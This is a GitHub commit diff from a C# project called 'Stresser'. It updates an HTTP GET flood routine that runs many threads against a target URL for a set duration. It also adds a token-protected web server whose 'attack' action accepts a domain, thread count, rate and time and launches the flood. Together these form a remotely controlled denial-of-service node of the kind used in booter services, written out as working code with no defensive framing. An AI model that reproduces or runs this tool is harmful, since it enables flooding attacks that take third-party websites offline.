-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
-> Using WebServer now!
- Loading branch information
Showing
13 changed files
with
137 additions
and
2,446 deletions.
There are no files selected for viewing
5 changes: 0 additions & 5 deletions
5
...devkit/telemetry/persistentpropertybag/microsoft.visualstudio.code.servicehost/values.xml
This file was deleted.
Oops, something went wrong.
3 changes: 0 additions & 3 deletions
3
...stry/CurrentUser/software/microsoft/csdevkit/v1/pids/258345_133578456935596542/values.xml
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,42 +1,46 @@ | ||
using System.Diagnostics; | ||
|
||
namespace Stresser.Helpers.Flood | ||
{ | ||
public class Flood | ||
{ | ||
private static readonly HttpClient _client = new HttpClient(); | ||
public static async Task SendGetRequests(string url, int threads, int requestsPerSecond) | ||
|
||
public static async Task SendGetRequests(string url, int threads, int requestsPerSecond, int durationSeconds) | ||
{ | ||
var tasks = new List<Task>(); | ||
|
||
for (int i = 0; i < threads; i++) | ||
{ | ||
tasks.Add(Task.Run(() => FireRequests(url, requestsPerSecond))); | ||
tasks.Add(Task.Run(() => FireRequests(url, requestsPerSecond, durationSeconds))); | ||
} | ||
|
||
await Task.WhenAll(tasks.ToArray()); | ||
} | ||
|
||
private static async Task FireRequests(string url, int requestsPerSecond) | ||
private static async Task FireRequests(string url, int requestsPerSecond, int durationSeconds) | ||
{ | ||
var delay = (int)(0000.1 / requestsPerSecond); | ||
var delay = (int)(1000.0 / requestsPerSecond); // Convert to milliseconds | ||
|
||
while (true) | ||
var stopwatch = Stopwatch.StartNew(); | ||
while (stopwatch.Elapsed.TotalSeconds < durationSeconds) | ||
{ | ||
try | ||
{ | ||
await _client.GetAsync(url); | ||
} | ||
catch (Exception) | ||
catch (Exception) | ||
{ | ||
|
||
// Handle exceptions if needed | ||
} | ||
|
||
await Task.Delay(delay); | ||
} | ||
} | ||
|
||
public static void Start(string targetUrl, int threads, int requestsPerSecond) | ||
public static async Task Start(string targetUrl, int threads, int requestsPerSecond, int durationSeconds) | ||
{ | ||
SendGetRequests(targetUrl, threads, requestsPerSecond).Wait(); | ||
await SendGetRequests(targetUrl, threads, requestsPerSecond, durationSeconds); | ||
} | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,122 +1,158 @@ | ||
|
||
using System.Net; | ||
using System.Text; | ||
using Microsoft.AspNetCore.Builder; | ||
using Microsoft.AspNetCore.Hosting; | ||
using Microsoft.AspNetCore.Http; | ||
using Microsoft.Extensions.Primitives; | ||
using Newtonsoft.Json; | ||
using Stresser.Helpers.ConfigHelper; | ||
|
||
using Stresser.Helpers.Flood; | ||
using Stresser.Helpers.HLogger; | ||
|
||
namespace Stresser.Services.WebServerService | ||
{ | ||
|
||
class WebServerService | ||
{ | ||
|
||
public void Start(string d_port, string d_host) | ||
{ | ||
var host = new WebHostBuilder() | ||
.UseKestrel(options => | ||
{ | ||
int port = int.Parse(d_port); | ||
options.Listen(IPAddress.Parse(d_host), port); | ||
IPAddress hostIp; | ||
if (IPAddress.TryParse(d_host, out hostIp)) | ||
{ | ||
options.Listen(hostIp, port); | ||
} | ||
else | ||
{ | ||
options.ListenAnyIP(port); | ||
} | ||
}) | ||
.Configure(ConfigureApp) | ||
.Build(); | ||
|
||
host.Run(); | ||
} | ||
private static (bool isValid, string message) IsAllowed(HttpRequest request) | ||
{ | ||
string key = request.Headers["Authorization"]; | ||
if (string.IsNullOrEmpty(key)) | ||
{ | ||
return (false, "The token is invalid!"); | ||
} | ||
|
||
if (key == ConfigHelper.GetSetting("webserver", "token")) | ||
{ | ||
return (true, "Authorized."); | ||
} | ||
return (false, "Key is invalid!"); | ||
} | ||
|
||
private static void ConfigureApp(IApplicationBuilder app) | ||
{ | ||
app.Run(ProcessRequest); | ||
} | ||
private static async Task ProcessRequest(HttpContext context) | ||
{ | ||
var request = context.Request; | ||
var response = context.Response; | ||
|
||
var absolutePath = request.Path.Value.TrimStart('/'); | ||
var (isValidKey, KeyMessage) = IsAllowed(request); | ||
if (isValidKey) | ||
if (request.Method == HttpMethods.Post && request.HasFormContentType) | ||
{ | ||
switch (absolutePath) | ||
var form = await request.ReadFormAsync(); | ||
StringValues action; | ||
if (form.TryGetValue("action", out action)) | ||
{ | ||
case "": | ||
{ | ||
var errorResponse = new | ||
{ | ||
message = "Bad Request", | ||
error = "Please provide a valid API endpoint." | ||
}; | ||
var errorJson = JsonConvert.SerializeObject(errorResponse); | ||
var errorBuffer = Encoding.UTF8.GetBytes(errorJson); | ||
response.StatusCode = (int)HttpStatusCode.BadRequest; | ||
response.ContentType = "application/json"; | ||
response.ContentLength = errorBuffer.Length; | ||
await response.Body.WriteAsync(errorBuffer, 0, errorBuffer.Length); | ||
switch (action) | ||
{ | ||
case "status": | ||
await ExecuteStatusAction(response); | ||
break; | ||
} | ||
case "test": | ||
{ | ||
var presponse = new | ||
case "attack": | ||
Program.hLogger.Log(LogType.Info, $"Got a request for an attack!"); | ||
if (form.TryGetValue("domain", out var domain) && | ||
form.TryGetValue("threads", out var threads) && | ||
form.TryGetValue("rspt", out var rspt) && | ||
form.TryGetValue("token", out var token) && | ||
form.TryGetValue("time", out var time)) | ||
{ | ||
if (token == ConfigHelper.GetSetting("webserver", "token")) | ||
{ | ||
Program.hLogger.Log(LogType.Info, $"Attack started on {domain} for {time}s !"); | ||
ExecuteAttackAction(response, domain, threads, rspt, time); | ||
await WriteErrorResponse(response, HttpStatusCode.OK, "OK"); | ||
} | ||
else | ||
{ | ||
Program.hLogger.Log(LogType.Warning, $"Some one tried to start an attack for {domain} but he provided a wrong token!"); | ||
await WriteErrorResponse(response, HttpStatusCode.Forbidden, "Token is wrong bozo!."); | ||
break; | ||
} | ||
} | ||
else | ||
{ | ||
message = "Example Request", | ||
error = "This is an example request" | ||
}; | ||
var pjson = JsonConvert.SerializeObject(presponse); | ||
var pBuffer = Encoding.UTF8.GetBytes(pjson); | ||
response.StatusCode = (int)HttpStatusCode.OK; | ||
response.ContentType = "application/json"; | ||
response.ContentLength = pBuffer.Length; | ||
await response.Body.WriteAsync(pBuffer, 0, pBuffer.Length); | ||
Program.hLogger.Log(LogType.Warning, $"Missing parameters for an attack!"); | ||
await WriteErrorResponse(response, HttpStatusCode.BadRequest, "Missing parameters for 'attack' action."); | ||
} | ||
break; | ||
} | ||
default: | ||
{ | ||
var errorResponse = new | ||
case "connect": | ||
if (form.TryGetValue("token", out var authtoken)) | ||
{ | ||
message = "Page not found", | ||
error = "The requested page does not exist." | ||
}; | ||
var errorJson = JsonConvert.SerializeObject(errorResponse); | ||
var errorBuffer = Encoding.UTF8.GetBytes(errorJson); | ||
response.StatusCode = (int)HttpStatusCode.NotFound; | ||
response.ContentType = "application/json"; | ||
response.ContentLength = errorBuffer.Length; | ||
await response.Body.WriteAsync(errorBuffer, 0, errorBuffer.Length); | ||
if (authtoken == ConfigHelper.GetSetting("webserver", "token")) | ||
{ | ||
await WriteErrorResponse(response, HttpStatusCode.OK, "OK"); | ||
} | ||
else | ||
{ | ||
await WriteErrorResponse(response, HttpStatusCode.Forbidden, "Token is wrong bozo!."); | ||
} | ||
} | ||
else | ||
{ | ||
await WriteErrorResponse(response, HttpStatusCode.BadRequest, "Missing parameters for 'connect' action."); | ||
} | ||
break; | ||
default: | ||
await WriteErrorResponse(response, HttpStatusCode.BadRequest, "Invalid action specified."); | ||
break; | ||
} | ||
} | ||
} | ||
} else { | ||
var errorResponse = new | ||
else | ||
{ | ||
message = KeyMessage, | ||
error = "Invalid API key." | ||
}; | ||
var errorJson = JsonConvert.SerializeObject(errorResponse); | ||
var errorBuffer = Encoding.UTF8.GetBytes(errorJson); | ||
response.StatusCode = (int)HttpStatusCode.Forbidden; | ||
response.ContentType = "application/json"; | ||
response.ContentLength = errorBuffer.Length; | ||
await response.Body.WriteAsync(errorBuffer, 0, errorBuffer.Length); | ||
await WriteErrorResponse(response, HttpStatusCode.BadRequest, "Action not specified."); | ||
} | ||
} | ||
else | ||
{ | ||
await WriteErrorResponse(response, HttpStatusCode.MethodNotAllowed, "Unsupported method or content type."); | ||
} | ||
} | ||
} | ||
|
||
} | ||
private static async Task ExecuteStatusAction(HttpResponse response) | ||
{ | ||
var statusResponse = new | ||
{ | ||
status = "OK" | ||
}; | ||
await WriteJsonResponse(response, HttpStatusCode.OK, statusResponse); | ||
} | ||
|
||
private static async Task ExecuteAttackAction(HttpResponse response, string domain, string threads, string delay, string time) | ||
{ | ||
var attackResponse = new | ||
{ | ||
message = $"OK" | ||
}; | ||
await Flood.Start(domain, int.Parse(threads), int.Parse(delay), int.Parse(time)); | ||
await WriteJsonResponse(response, HttpStatusCode.OK, attackResponse); | ||
} | ||
|
||
private static async Task WriteJsonResponse(HttpResponse response, HttpStatusCode statusCode, object responseObject) | ||
{ | ||
var jsonResponse = JsonConvert.SerializeObject(responseObject); | ||
var buffer = Encoding.UTF8.GetBytes(jsonResponse); | ||
response.StatusCode = (int)statusCode; | ||
response.ContentType = "application/json"; | ||
response.ContentLength = buffer.Length; | ||
await response.Body.WriteAsync(buffer, 0, buffer.Length); | ||
} | ||
|
||
private static async Task WriteErrorResponse(HttpResponse response, HttpStatusCode statusCode, string errorMessage) | ||
{ | ||
var errorResponse = new | ||
{ | ||
message = errorMessage, | ||
error = statusCode.ToString() | ||
}; | ||
await WriteJsonResponse(response, statusCode, errorResponse); | ||
} | ||
|
||
private static void ConfigureApp(IApplicationBuilder app) | ||
{ | ||
app.Run(ProcessRequest); | ||
} | ||
} | ||
} |
Binary file not shown.
Oops, something went wrong.